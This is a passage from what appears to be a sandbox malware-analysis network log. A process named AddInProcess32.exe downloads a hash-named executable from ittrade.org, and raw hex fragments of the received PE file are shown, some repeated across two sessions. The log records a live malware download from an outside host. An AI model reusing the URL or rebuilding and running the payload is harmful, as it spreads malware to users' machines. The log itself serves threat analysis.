ma=86400
2024-03-11 02:30:56 UTC	696	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 5d c3 05 44 ff ff ff Data Ascii: ff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]]D
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 19 01 00 00 8b 4d 10 Data Ascii: ]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@fM
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e 64 3d 8e 00 00 c0 75 Data Ascii: XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~d=u
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 f8 fe 74 57 8b 4d fc Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\tWM
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 f9 80 00 ff d6 a3 38 Data Ascii: hT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,5405848
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 ff e9 54 01 00 00 be Data Ascii: @^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}uT
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 00 ff d7 50 ff d6 68 Data Ascii: t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@SPh
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef 02 83 f9 08 72 Data Ascii: $9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFGr

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.5	55583	172.67.177.133	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-11 02:30:55 UTC	130	OUT	GET /26b626fea29015a9f24e07a08fa011e4/6779d89b7a368f4f3f340b50a9d18d71.exe HTTP/1.1 Host: ittrade.org Connection: Keep-Alive
2024-03-11 02:30:56 UTC	678	IN	HTTP/1.1 200 OK Date: Mon, 11 Mar 2024 02:30:56 GMT Content-Type: application/x-ms-dos-executable Content-Length: 4283768 Connection: close Last-Modified: Sun, 10 Mar 2024 22:52:57 GMT Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 0 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gLcPmtDFkmnyN7MeQbgOzBaTEazb%2FkXNCir5OGLa7Fp92yvRiRDPZL7FBt3UEC7Ftgov3KWazJnc5kM0U601%2BCIdtTN5XPMLhocn4ZfT0wZVx72o%2BsUPtwGgEoA2ig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86282017ad3009f3-LAS alt-svc: h3=":443"; ma=86400
2024-03-11 02:30:56 UTC	691	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a5 10 45 5e e1 71 2b 0d e1 71 2b 0d e1 71 2b 0d 8e 07 80 0d f5 71 2b 0d 8e 07 b5 0d f6 71 2b 0d 8e 07 81 0d b8 71 2b 0d e8 09 b8 0d e2 71 2b 0d e1 71 2a 0d ba 71 2b 0d 8e 07 84 0d e0 71 2b 0d 8e 07 b1 0d e0 71 2b 0d 8e 07 b6 0d e0 71 2b 0d 52 69 63 68 e1 71 2b 0d 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 2b 84 4d 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 96 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$E^q+q+q+q+q+q+q+q*q+q+q+q+Richq+PEL+Mc
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 8c 0d a4 ee 80 00 66 8c 1d 80 ee 80 00 66 8c 05 7c ee 80 00 66 8c 25 78 ee 80 00 66 8c 2d 74 ee 80 00 9c 8f 05 a8 ee 80 00 8b 45 00 a3 9c ee 80 00 8b 45 04 a3 a0 ee 80 00 8d 45 08 a3 ac ee 80 00 8b 85 e0 fc ff ff c7 05 e8 ed 80 00 01 00 01 00 a1 a0 ee 80 00 a3 9c ed 80 00 c7 05 90 ed 80 00 09 04 00 c0 c7 05 94 ed 80 00 01 00 00 00 a1 04 d0 80 00 89 85 d8 fc ff ff a1 08 d0 80 00 89 85 dc fc ff ff ff 15 ac b0 40 00 a3 e0 ed 80 00 6a 01 e8 e5 16 00 00 59 6a 00 ff 15 a8 b0 40 00 68 90 b1 40 00 ff 15 6c b0 40 00 83 3d e0 ed 80 00 00 75 08 6a 01 e8 c1 16 00 00 59 68 09 04 00 c0 ff 15 a4 b0 40 00 50 ff 15 a0 b0 40 00 c9 c3 8b ff 55 8b ec 8b 45 08 33 c9 3b 04 cd 10 d0 80 00 74 13 41 83 f9 2d 72 f1 8d 48 ed 83 f9 11 77 0e 6a 0d 58 5d c3 8b 04 cd 14 d0 80 00 5d c3 Data Ascii: ff\|f%xf-tEEE@jYj@h@l@=ujYh@P@UE3;tA-rHwjX]]
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 6a 01 ff 75 08 e8 99 fe ff ff 83 c4 0c 5d c3 6a 01 6a 00 6a 00 e8 89 fe ff ff 83 c4 0c c3 6a 01 6a 01 6a 00 e8 7a fe ff ff 83 c4 0c c3 8b ff 55 8b ec e8 4b 05 00 00 ff 75 08 e8 94 03 00 00 59 68 ff 00 00 00 e8 af ff ff ff cc 68 10 1a 40 00 64 ff 35 00 00 00 00 8b 44 24 10 89 6c 24 10 8d 6c 24 10 2b e0 53 56 57 a1 04 d0 80 00 31 45 fc 33 c5 50 89 65 e8 ff 75 f8 8b 45 fc c7 45 fc fe ff ff ff 89 45 f8 8d 45 f0 64 a3 00 00 00 00 c3 8b 4d f0 64 89 0d 00 00 00 00 59 5f 5f 5e 5b 8b e5 5d 51 c3 cc cc cc cc cc cc cc 8b ff 55 8b ec 83 ec 18 53 8b 5d 0c 56 8b 73 08 33 35 04 d0 80 00 57 8b 06 c6 45 ff 00 c7 45 f4 01 00 00 00 8d 7b 10 83 f8 fe 74 0d 8b 4e 04 03 cf 33 0c 38 e8 b7 f5 ff ff 8b 4e 0c 8b 46 08 03 cf 33 0c 38 e8 a7 f5 ff ff 8b 45 08 f6 40 04 66 0f 85 19 01 Data Ascii: ju]jjjjjjzUKuYhh@d5D$l$l$+SVW1E3PeuEEEEdMdY__^[]QUS]Vs35WEE{tN38NF38E@f
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: ff 50 88 5d fb e8 58 15 00 00 59 50 8d 85 08 fe ff ff 50 56 ff 15 cc b0 40 00 8b 4d fc 5f 5e 33 cd 5b e8 1b f1 ff ff c9 c3 6a 03 e8 e9 18 00 00 59 83 f8 01 74 15 6a 03 e8 dc 18 00 00 59 85 c0 75 1f 83 3d 00 d0 80 00 01 75 16 68 fc 00 00 00 e8 25 fe ff ff 68 ff 00 00 00 e8 1b fe ff ff 59 59 c3 8b ff 55 8b ec 56 e8 85 08 00 00 8b f0 85 f6 0f 84 32 01 00 00 8b 4e 5c 8b 55 08 8b c1 57 39 10 74 0d 83 c0 0c 8d b9 90 00 00 00 3b c7 72 ef 81 c1 90 00 00 00 3b c1 73 04 39 10 74 02 33 c0 85 c0 74 07 8b 50 08 85 d2 75 07 33 c0 e9 f5 00 00 00 83 fa 05 75 0c 83 60 08 00 33 c0 40 e9 e4 00 00 00 83 fa 01 0f 84 d8 00 00 00 8b 4d 0c 53 8b 5e 60 89 4e 60 8b 48 04 83 f9 08 0f 85 b6 00 00 00 6a 24 59 8b 7e 5c 83 64 39 08 00 83 c1 0c 81 f9 90 00 00 00 7c ed 8b 00 8b 7e 64 3d Data Ascii: P]XYPPV@M_^3[jYtjYu=uh%hYYUV2N\UW9t;r;s9t3tPu3u`3@MS^`N`Hj$Y~\d9\|~d=
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 90 00 08 00 00 a3 00 55 85 00 89 35 f8 54 85 00 3b c2 73 36 83 c0 05 83 48 fb ff 66 c7 40 ff 00 0a 89 48 03 66 c7 40 1f 00 0a c6 40 21 0a 89 48 33 88 48 2f 8b 35 00 55 85 00 83 c0 40 8d 50 fb 81 c6 00 08 00 00 3b d6 72 cd 53 57 66 39 4d e6 0f 84 0e 01 00 00 8b 45 e8 3b c1 0f 84 03 01 00 00 8b 18 83 c0 04 89 45 fc 03 c3 be 00 08 00 00 89 45 f8 3b de 7c 02 8b de 39 1d f8 54 85 00 7d 6b bf 04 55 85 00 6a 40 6a 20 e8 52 f1 ff ff 59 59 85 c0 74 51 83 05 f8 54 85 00 20 8d 88 00 08 00 00 89 07 3b c1 73 31 83 c0 05 83 48 fb ff 83 60 03 00 80 60 1f 80 83 60 33 00 66 c7 40 ff 00 0a 66 c7 40 20 0a 0a c6 40 2f 00 8b 0f 83 c0 40 03 ce 8d 50 fb 3b d1 72 d2 83 c7 04 39 1d f8 54 85 00 7c a2 eb 06 8b 1d f8 54 85 00 33 ff 85 db 7e 72 8b 45 f8 8b 00 83 f8 ff 74 5c 83 f8 fe Data Ascii: U5T;s6Hf@Hf@@!H3H/5U@P;rSWf9ME;EE;\|9T}kUj@j RYYtQT ;s1H```3f@f@ @/@P;r9T\|T3~rEt\
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 59 c3 8b ff 57 68 54 bc 40 00 ff 15 bc b0 40 00 8b f8 85 ff 75 09 e8 34 fd ff ff 33 c0 5f c3 56 8b 35 b8 b0 40 00 68 90 bc 40 00 57 ff d6 68 84 bc 40 00 57 a3 2c f9 80 00 ff d6 68 78 bc 40 00 57 a3 30 f9 80 00 ff d6 68 70 bc 40 00 57 a3 34 f9 80 00 ff d6 83 3d 2c f9 80 00 00 8b 35 f0 b0 40 00 a3 38 f9 80 00 74 16 83 3d 30 f9 80 00 00 74 0d 83 3d 34 f9 80 00 00 74 04 85 c0 75 24 a1 ec b0 40 00 a3 30 f9 80 00 a1 f4 b0 40 00 c7 05 2c f9 80 00 82 26 40 00 89 35 34 f9 80 00 a3 38 f9 80 00 ff 15 e8 b0 40 00 a3 c4 d1 80 00 83 f8 ff 0f 84 c1 00 00 00 ff 35 30 f9 80 00 50 ff d6 85 c0 0f 84 b0 00 00 00 e8 dd ec ff ff ff 35 2c f9 80 00 8b 35 88 b0 40 00 ff d6 ff 35 30 f9 80 00 a3 2c f9 80 00 ff d6 ff 35 34 f9 80 00 a3 30 f9 80 00 ff d6 ff 35 38 f9 80 00 a3 34 f9 80 Data Ascii: YWhT@@u43_V5@h@Wh@W,hx@W0hp@W4=,5@8t=0t=4tu$@0@,&@548@50P5,5@50,540584
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: ff ff 59 ff 36 ff 15 1c b1 40 00 5e 5d c3 6a 08 68 50 bf 80 00 e8 cd ea ff ff e8 41 f9 ff ff 8b 40 78 85 c0 74 16 83 65 fc 00 ff d0 eb 07 33 c0 40 c3 8b 65 e8 c7 45 fc fe ff ff ff e8 a0 17 00 00 e8 e6 ea ff ff c3 68 d7 2e 40 00 ff 15 88 b0 40 00 a3 90 fa 80 00 c3 8b ff 55 8b ec 8b 45 08 a3 94 fa 80 00 a3 98 fa 80 00 a3 9c fa 80 00 a3 a0 fa 80 00 5d c3 8b ff 55 8b ec 8b 45 08 8b 0d 4c bc 40 00 56 39 50 04 74 0f 8b f1 6b f6 0c 03 75 08 83 c0 0c 3b c6 72 ec 6b c9 0c 03 4d 08 5e 3b c1 73 05 39 50 04 74 02 33 c0 5d c3 ff 35 9c fa 80 00 ff 15 8c b0 40 00 c3 6a 20 68 70 bf 80 00 e8 21 ea ff ff 33 ff 89 7d e4 89 7d d8 8b 5d 08 83 fb 0b 7f 4b 74 15 8b c3 6a 02 59 2b c1 74 22 2b c1 74 08 2b c1 74 59 2b c1 75 43 e8 f5 f7 ff ff 8b f8 89 7d d8 85 ff 75 14 83 c8 ff e9 Data Ascii: Y6@^]jhPA@xte3@eEh.@@UE]UEL@V9Ptku;rkM^;s9Pt3]5@j hp!3}}]KtjY+t"+t+tY+uC}u
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: 24 04 f7 c1 03 00 00 00 74 24 8a 01 83 c1 01 84 c0 74 4e f7 c1 03 00 00 00 75 ef 05 00 00 00 00 8d a4 24 00 00 00 00 8d a4 24 00 00 00 00 8b 01 ba ff fe fe 7e 03 d0 83 f0 ff 33 c2 83 c1 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 32 84 e4 74 24 a9 00 00 ff 00 74 13 a9 00 00 00 ff 74 02 eb cd 8d 41 ff 8b 4c 24 04 2b c1 c3 8d 41 fe 8b 4c 24 04 2b c1 c3 8d 41 fd 8b 4c 24 04 2b c1 c3 8d 41 fc 8b 4c 24 04 2b c1 c3 8b ff 55 8b ec 83 ec 24 a1 04 d0 80 00 33 c5 89 45 fc 8b 45 08 53 89 45 e0 8b 45 0c 56 57 89 45 e4 e8 a8 f1 ff ff 83 65 ec 00 83 3d b0 fa 80 00 00 89 45 e8 75 7d 68 00 bd 40 00 ff 15 20 b0 40 00 8b d8 85 db 0f 84 10 01 00 00 8b 3d b8 b0 40 00 68 f4 bc 40 00 53 ff d7 85 c0 0f 84 fa 00 00 00 8b 35 88 b0 40 00 50 ff d6 68 e4 bc 40 00 53 a3 b0 fa 80 00 ff Data Ascii: $t$tNu$$~3tAt2t$ttAL$+AL$+AL$+AL$+U$3EESEEVWEe=Eu}h@ @=@h@S5@Ph@S
2024-03-11 02:30:56 UTC	1369	IN	Data Raw: fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 90 39 40 00 8b ff a0 39 40 00 a8 39 40 00 b4 39 40 00 c8 39 40 00 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8b 45 08 5e 5f c9 c3 90 8a 06 88 07 8a 46 01 88 47 01 8b 45 08 5e 5f c9 c3 8d 49 00 8a 06 88 07 8a 46 01 88 47 01 8a 46 02 88 47 02 8b 45 08 5e 5f c9 c3 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 2c 3b 40 00 8b ff f7 d9 ff 24 8d dc 3a 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 30 3a 40 00 ff 24 8d 2c 3b 40 00 90 40 3a 40 00 64 3a 40 00 8c 3a 40 00 8a 46 03 23 d1 88 47 03 83 ee 01 c1 e9 02 83 ef 01 83 f9 08 72 b2 fd f3 a5 fc ff 24 95 2c 3b 40 00 8d 49 00 8a 46 03 23 d1 88 47 03 8a 46 02 c1 e9 02 88 47 02 83 ee 02 83 ef Data Ascii: $9@9@9@9@9@E^_E^_FGE^_IFGFGE^_t1\|9u$r$,;@$:@Ir+$0:@$,;@@:@d:@:@F#Gr$,;@IF#GFG

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.5	55582	52.217.234.57	443	44264	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe

Timestamp	Bytes transferred	Direction	Data
